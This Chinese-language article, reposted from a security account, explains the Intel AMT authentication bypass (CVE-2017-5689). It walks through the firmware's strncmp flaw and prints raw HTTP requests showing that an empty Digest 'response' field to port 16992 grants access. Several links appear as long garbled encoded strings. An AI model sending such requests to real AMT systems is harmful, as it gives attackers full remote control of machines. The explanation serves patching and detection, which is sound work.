转载公众号:malwarebenchmark
上周存在长达九年之久的 Intel漏洞曝光!直白点儿说:自从2010年起,英特尔出售所有具有远超控制功能的芯片中含有一个严重的漏洞,可以让攻击者获得目标电脑的高级权限。本文将介绍该漏洞的成因和测试验证方法!
该漏洞主要存在于英特尔的主动管理技术( AMT),小企业技术(SBT),以及标准管理(ISM)平台当中。这些平台主要用于远程管理。该漏洞 (CVE-2017-5689) 可能允许攻击者远程访问业务 pc 或设备, 并获得对系统的完全控制。
Embedi 周五公布的这一缺陷的记录中说, 这个漏洞可能是程序员的错误 ,该漏洞可以使得 访问开放端口 16992/16993 的攻击者 可以轻易绕过身份验证。换句话说 , 攻击者可能没有凭据, 并且仍然能够使用英特尔 amt 功能。
使用 web 应用程序安全工具 (如Burp Suite), 的研究者能够通过拦截和操纵在它们之间发送的 http 数据包和在易受攻击的系统上本地运行的 amt web 服务器来确认此漏洞。(有检测方法哦~!)
可怕的是:即使主机电源关闭,但有电力连接线和网络连接线的情况下, amt 也提供了远程控制计算机系统的能力~!
受此漏洞影响的英特尔系统
Embedi 能够通过 逆向手段 找到 amt 固件漏洞, 也可以通过 检查 amt web 服务器和远程客户端之间的通信检测到攻击。 ( 4b4K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2W2L8h3u0W2k6r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6X3K9h3I4W2M7#2)9J5c8Y4N6Z5K9i4c8W2i4K6u0V1M7r3q4H3k6i4u0K6i4K6u0r3f1$3W2D9k6h3&6@1i4K6u0V1b7X3!0T1i4K6u0V1K9i4y4Q4x3X3c8e0K9h3I4W2L8Y4c8Q4x3X3g2H3k6r3k6Q4c8f1k6Q4b7V1y4Q4z5o6V1`.
钻这个安全漏洞的空子 是比较容易滴:
首先: 很多用户并不了解这东东,也难以及时修补该漏洞 ~!
AMT的远程管理工具包是intel的vPro套件的一部分,在固件层面运行, 你使用的 Windows、Linux或其他任何操作系统根本看不见它。代码在英特尔的管理引擎( Management Engine)上运行,这好比是你计算机中的一个小型计算机,全面控制硬件,可与网络端口直接联系,不管运行的是什么样的操作系统和应用程序,都可以控制设备。
AMT旨在让IT管理员可以远程登录进入到系统底层,那样他们可以重启崩溃的机器,修复和调整操作系统,安装新的操作系统,访问虚拟串行控制台,或者通过VNC获得全面的远程桌面访问。 它简直就是上帝模式( god mode)。
其次,利用该漏洞并不复杂 ~!
AMT是通过一种普通的Web接口经由网络来访问的:该服务侦听端口16992和端口16993。用浏览器访问该服务会弹出提示,要求输入密码,这个密码是使用标准的HTTP Digest验证技术来发送的:使用来自AMT固件的随机数(nonce)以及另外几个元数据,对用户和密码进行哈希处理(即加密)。
糟糕滴是: 如果你发送空的响应,固件就会误以为这是有效的响应,让你长行直入。这意味着,发送空的 HTTP Digest验证响应,就可以绕过密码核实机制。
在后台,你的浏览器通常会向 AMT服务发送类似这样的内容,这包括哈希响应字符串,含有用户名、密码和服务器随机数:
GET /index.htm HTTP/1.1
Host: 192.168.1.2:16992
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: cb7K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0q4Q4x3X3f1J5i4K6y4m8x3e0j5&6z5e0u0Q4x3V1k6D9L8$3N6G2L8W2)9J5k6h3S2@1L8b7`.`.
Connection: keep-alive
Authorization: Digest username=»admin»,
realm=»Digest:048A0000000000000000000000000000»,
nonce=»Q0UGAAQEAAAV4M4iGF4+Ni5ZafuMWy9J», uri=»/index.htm»,
response=»d3d4914a43454b159a3fa6f5a91d801d», qop=auth, nc=00000001,
cnonce=»9c5beca4011eea5c»
如果 使用代理或类似的工具 ( Burp Suite可以哦 ) ,只要去掉响应哈希,改而发送:
GET /index.htm HTTP/1.1
Host: 127.0.0.1:16992
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Authorization: Digest username=»admin»,
realm=»Digest:048A0000000000000000000000000000»,
nonce=»qTILAAUFAAAjY7rDwLSmxFCq5EJ3pH/n», uri=»/index.htm», response=»»,
qop=auth, nc=00000001, cnonce=»60513ab58858482c»
英特尔的固件 就 会让你进入,尽管你实际上根本没有密码:
HTTP/1.1 200 OK
Date: Thu, 4 May 2017 16:09:17 GMT
Server: AMT
Content-Type: text/html
Transfer-Encoding: chunked
Cache-Control: no cache
Expires: Thu, 26 Oct 1995 00:00:00 GMT
英特尔的固件 逆向后会发现 类似以下内容的 C代码:
if(strncmp(computed_response, user_response, response_length))
deny_access();
这是在 比较的两个字符串 , 试图登录的那个人发送的验证响应( user_response)和服务要求的响应(computed_response)。如果两者相符,密码肯定对的,所以该函数返回零,代码继续授予访问权。如果两个字符串不一样,该函数返回值是非零,这意味着密码不对,所以拒绝访问
糟糕的是 , response_length是用user_response来计算的,所以如果提供的是空字符串,长度为零, 将 没有字节被检查 ; strncmp()返回零,表明验证成功。因而,空的响应字符串被认为有效而被放行。
S这里提醒重要机构务必尽快修补该漏洞。可以利用的资源包括:
第三方工具( 8ceK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6T1j5i4u0@1j5X3I4S2P5X3g2Q4x3V1k6p5K9i4y4S2j5X3I4W2i4K6u0V1d9h3&6@1k6h3I4Q4x3X3c8m8e0g2c8Q4c8f1k6Q4b7V1y4Q4z5o6W2Q4c8e0g2Q4z5p5k6Q4b7f1k6Q4c8e0N6Q4z5e0c8Q4b7e0S2Q4c8e0k6Q4z5f1c8Q4b7e0g2Q4c8e0N6Q4b7e0k6Q4z5o6q4Q4c8e0N6Q4z5e0c8Q4b7e0S2i4K9h3&6V1L8%4N6K6i4@1f1%4i4@1t1K6i4@1u0n7i4@1f1%4i4@1u0n7i4K6W2r3i4@1f1%4i4K6W2m8i4K6R3@1b7f1#2f1i4@1f1K6i4K6R3H3i4K6R3J5
( 2deK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6F1k6i4N6K6M7X3!0G2L8g2)9J5k6h3W2F1N6r3g2D9i4K6u0W2j5$3!0E0i4K6u0r3L8X3g2%4M7#2)9J5c8X3W2E0M7r3!0J5N6r3q4F1N6q4)9J5k6s2y4W2j5%4g2J5K9i4c8&6i4K6u0V1K9h3&6X3L8%4u0E0j5i4c8A6L8$3&6Q4x3X3c8A6L8Y4c8W2L8q4)9J5k6r3#2S2L8X3q4Y4k6h3q4T1K9h3I4A6N6s2W2Q4x3X3c8X3K9i4u0E0N6$3q4J5k6g2)9J5c8W2!0q4c8W2!0n7b7#2)9^5z5g2!0q4y4g2)9^5c8W2)9&6x3g2!0q4y4g2!0n7z5q4)9^5x3#2!0q4y4q4!0n7b7g2)9^5y4W2!0q4y4g2)9^5y4g2!0n7x3#2!0q4y4q4!0n7b7g2)9^5c8g2!0q4z5q4!0m8c8W2!0m8y4g2!0q4y4W2!0n7b7#2)9^5c8W2!0q4y4W2!0n7y4q4)9&6c8g2!0q4y4#2)9&6b7g2)9^5y4q4!0q4y4g2)9^5c8W2!0m8y4W2!0q4y4g2!0m8y4q4)9&6y4W2!0q4y4q4!0n7z5q4)9^5x3q4!0q4y4q4!0n7b7g2)9&6b7W2!0q4y4q4!0n7c8W2!0m8x3g2!0q4y4W2)9^5x3g2!0m8c8W2!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4g2)9^5b7#2)9^5y4g2!0q4y4W2)9^5b7W2!0m8b7#2!0q4y4g2!0n7y4#2!0m8y4g2!0q4y4g2)9^5y4g2!0n7y4#2!0q4z5g2)9&6x3#2!0n7c8g2!0q4y4W2)9^5c8g2!0m8y4g2!0q4c8W2!0n7b7#2)9^5z5q4!0q4z5q4!0m8c8W2!0m8y4g2!0q4y4g2!0n7y4#2!0m8y4g2!0q4y4g2)9^5y4g2!0n7y4#2!0q4y4g2)9^5c8W2!0m8c8W2!0q4y4q4!0n7b7W2!0m8y4g2!0q4y4W2!0m8x3#2)9^5x3q4!0q4y4W2)9&6c8W2!0m8y4g2!0q4y4#2!0n7x3#2!0n7b7W2!0q4y4#2!0n7b7W2)9&6c8W2!0q4y4W2)9&6z5q4!0m8c8W2!0q4y4q4!0n7z5q4)9^5c8q4!0q4y4W2)9&6z5q4!0m8c8W2!0q4z5g2!0m8b7W2)9&6z5q4!0q4y4g2)9^5c8q4!0n7x3g2!0q4y4#2!0n7x3#2!0n7b7W2!0q4y4#2!0n7b7W2)9&6c8W2!0q4c8W2!0n7b7#2)9^5z5g2!0q4x3#2)9^5x3q4)9^5x3g2!0q4y4W2)9&6y4q4!0m8c8W2!0q4y4W2)9^5b7#2)9^5x3g2!0q4z5q4)9^5x3g2)9&6y4q4!0q4y4#2!0n7x3#2!0n7b7W2!0q4y4q4!0n7b7g2!0n7b7g2!0q4y4#2)9&6b7g2)9^5y4q4!0q4y4#2)9&6b7W2!0n7z5q4!0q4y4g2)9^5y4g2!0n7x3#2!0q4y4q4!0n7c8W2!0m8x3g2!0q4y4W2)9^5x3g2!0m8c8W2!0q4y4q4!0n7b7W2!0m8y4g2!0q4y4g2)9^5c8W2)9^5b7g2!0q4y4g2)9^5y4#2)9^5c8W2!0q4y4g2!0n7x3q4)9^5c8W2!0q4y4g2!0m8z5q4)9^5x3g2!0q4z5q4)9^5x3#2)9^5x3g2!0q4y4#2)9&6b7g2)9^5y4q4!0q4y4g2!0n7b7g2)9&6y4q4!0q4y4g2!0m8c8W2!0n7z5g2!0q4y4W2)9^5c8g2!0m8b7g2!0q4y4W2)9&6y4W2!0n7c8q4!0q4y4g2)9^5z5q4)9&6y4#2!0q4z5q4!0m8x3g2!0m8z5q4!0q4x3#2)9^5x3q4)9^5x3R3`.`.
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课